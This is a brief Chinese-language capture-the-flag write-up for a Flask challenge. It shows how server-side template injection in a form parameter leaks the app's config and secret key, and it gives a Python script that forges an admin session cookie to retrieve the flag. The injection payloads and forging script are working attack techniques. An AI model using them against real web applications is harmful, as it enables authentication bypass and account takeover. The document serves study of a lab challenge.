进入页面,注册登录
访问flag
查看Cookie,这里很容易就猜到是要伪造Cookie
这里有三个参数,上传内容并用Burp抓包可以发现三个参数所对应的变量名.
看大佬的wp知道
在event_important
参数存在模版注入,输入__dict__
,发现成功回显
接着查找配置文件:__class__.__init__.__globals__[app].config
发现加密所需的密钥,伪造session
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
@app.route('/')
def index():
print(session_serializer.dumps("admin"))
index()
将所得到的session替换掉user内容,再次访问flag即可得到flag